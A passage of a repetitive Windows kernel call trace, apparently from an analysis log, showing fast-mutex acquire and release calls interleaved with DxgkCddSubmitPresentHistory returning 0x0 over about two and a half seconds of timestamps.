ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.967] DxgkCddSubmitPresentHistory () returned 0x0 [0129.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.022] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.022] DxgkCddSubmitPresentHistory () returned 0x0 [0129.053] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.053] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.054] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.054] DxgkCddSubmitPresentHistory () returned 0x0 [0129.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.116] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.116] DxgkCddSubmitPresentHistory () returned 0x0 [0129.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.116] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.116] DxgkCddSubmitPresentHistory () returned 0x0 [0129.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.121] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0129.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.121] DxgkCddSubmitPresentHistory () returned 0x0 [0129.163] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.163] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.163] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.163] DxgkCddSubmitPresentHistory () returned 0x0 [0129.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.196] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.196] DxgkCddSubmitPresentHistory () returned 0x0 [0129.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.210] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.210] DxgkCddSubmitPresentHistory () returned 0x0 [0129.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.243] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.243] DxgkCddSubmitPresentHistory () returned 0x0 [0129.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.275] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.275] DxgkCddSubmitPresentHistory () returned 0x0 [0129.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.288] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.288] DxgkCddSubmitPresentHistory () returned 0x0 [0129.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.321] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.321] DxgkCddSubmitPresentHistory () returned 0x0 [0129.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.321] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.321] DxgkCddSubmitPresentHistory () returned 0x0 [0129.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.321] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0129.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.322] DxgkCddSubmitPresentHistory () returned 0x0 [0129.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.335] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.335] DxgkCddSubmitPresentHistory () returned 0x0 [0129.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.368] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0129.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.368] DxgkCddSubmitPresentHistory () returned 0x0 [0129.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.368] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.368] DxgkCddSubmitPresentHistory () returned 0x0 [0129.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.368] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.368] DxgkCddSubmitPresentHistory () returned 0x0 [0129.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.382] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.382] DxgkCddSubmitPresentHistory () returned 0x0 [0129.413] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.413] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.413] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.413] DxgkCddSubmitPresentHistory () returned 0x0 [0129.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.445] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0129.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.445] DxgkCddSubmitPresentHistory () returned 0x0 [0129.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.445] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.445] DxgkCddSubmitPresentHistory () returned 0x0 [0129.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.445] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.445] DxgkCddSubmitPresentHistory () returned 0x0 [0129.475] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.475] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.476] DxgkCddSubmitPresentHistory () returned 0x0 [0129.507] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.507] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0129.507] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0129.507] DxgkCddSubmitPresentHistory () returned 0x0 [0129.507] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.507] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.507] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.507] DxgkCddSubmitPresentHistory () returned 0x0 [0129.507] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.507] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.508] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.508] DxgkCddSubmitPresentHistory () returned 0x0 [0129.522] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.522] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.522] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.522] DxgkCddSubmitPresentHistory () returned 0x0 [0129.522] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.522] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.522] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.522] DxgkCddSubmitPresentHistory () returned 0x0 [0129.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.561] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012332e0) [0129.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.561] DxgkCddSubmitPresentHistory () returned 0x0 [0129.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.562] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.562] DxgkCddSubmitPresentHistory () returned 0x0 [0129.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.569] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012332e0) [0129.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.569] DxgkCddSubmitPresentHistory () returned 0x0 [0129.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.603] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.603] DxgkCddSubmitPresentHistory () returned 0x0 [0129.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.634] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.634] DxgkCddSubmitPresentHistory () returned 0x0 [0129.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.635] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.635] DxgkCddSubmitPresentHistory () returned 0x0 [0129.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.635] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012332e0) [0129.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.635] DxgkCddSubmitPresentHistory () returned 0x0 [0129.670] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.670] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.670] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.670] DxgkCddSubmitPresentHistory () returned 0x0 [0129.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.697] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.697] DxgkCddSubmitPresentHistory () returned 0x0 [0129.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.697] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012332e0) [0129.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.697] DxgkCddSubmitPresentHistory () returned 0x0 [0129.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.697] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.697] DxgkCddSubmitPresentHistory () returned 0x0 [0129.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.714] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.714] DxgkCddSubmitPresentHistory () returned 0x0 [0129.744] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.744] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.744] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.744] DxgkCddSubmitPresentHistory () returned 0x0 [0129.745] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.745] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012332e0) [0129.745] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.745] DxgkCddSubmitPresentHistory () returned 0x0 [0129.745] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.745] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.745] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.745] DxgkCddSubmitPresentHistory () returned 0x0 [0129.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.757] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.757] DxgkCddSubmitPresentHistory () returned 0x0 [0129.792] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.792] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.792] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.792] DxgkCddSubmitPresentHistory () returned 0x0 [0129.803] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.803] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.804] DxgkCddSubmitPresentHistory () returned 0x0 [0129.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.804] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012332e0) [0129.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012332e0) [0129.804] DxgkCddSubmitPresentHistory () returned 0x0 [0129.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.804] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.804] DxgkCddSubmitPresentHistory () returned 0x0 [0129.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.850] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0129.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.850] DxgkCddSubmitPresentHistory () returned 0x0 [0129.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.850] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.850] DxgkCddSubmitPresentHistory () returned 0x0 [0129.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.889] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0129.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0129.889] DxgkCddSubmitPresentHistory () returned 0x0 [0129.937] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.937] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.937] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.937] DxgkCddSubmitPresentHistory () returned 0x0 [0129.983] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.984] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0129.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.984] DxgkCddSubmitPresentHistory () returned 0x0 [0130.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.016] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.016] DxgkCddSubmitPresentHistory () returned 0x0 [0130.024] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.024] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.024] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.024] DxgkCddSubmitPresentHistory () returned 0x0 [0130.053] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.053] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.053] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.053] DxgkCddSubmitPresentHistory () returned 0x0 [0130.093] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.093] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.093] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.093] DxgkCddSubmitPresentHistory () returned 0x0 [0130.109] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.109] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.109] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.109] DxgkCddSubmitPresentHistory () returned 0x0 [0130.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.125] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.125] DxgkCddSubmitPresentHistory () returned 0x0 [0130.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.141] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.141] DxgkCddSubmitPresentHistory () returned 0x0 [0130.173] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.173] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.173] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.173] DxgkCddSubmitPresentHistory () returned 0x0 [0130.189] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.189] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.189] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.189] DxgkCddSubmitPresentHistory () returned 0x0 [0130.221] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.221] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.221] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.221] DxgkCddSubmitPresentHistory () returned 0x0 [0130.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.253] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.253] DxgkCddSubmitPresentHistory () returned 0x0 [0130.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.285] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.285] DxgkCddSubmitPresentHistory () returned 0x0 [0130.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.317] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.317] DxgkCddSubmitPresentHistory () returned 0x0 [0130.349] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.349] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0130.349] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0130.349] DxgkCddSubmitPresentHistory () returned 0x0 [0131.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.283] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.283] DxgkCddSubmitPresentHistory () returned 0x0 [0131.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.283] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0131.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0131.283] DxgkCddSubmitPresentHistory () returned 0x0 [0131.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.289] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0131.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.289] DxgkCddSubmitPresentHistory () returned 0x0 [0131.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.312] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0131.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.312] DxgkCddSubmitPresentHistory () returned 0x0 [0131.328] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.328] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0131.328] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.328] DxgkCddSubmitPresentHistory () returned 0x0 [0131.328] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.328] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.328] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.328] DxgkCddSubmitPresentHistory () returned 0x0 [0131.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.382] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0131.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.382] DxgkCddSubmitPresentHistory () returned 0x0 [0131.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.382] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.382] DxgkCddSubmitPresentHistory () returned 0x0 [0131.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.398] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0131.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.398] DxgkCddSubmitPresentHistory () returned 0x0 [0131.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.398] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.398] DxgkCddSubmitPresentHistory () returned 0x0 [0131.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.414] 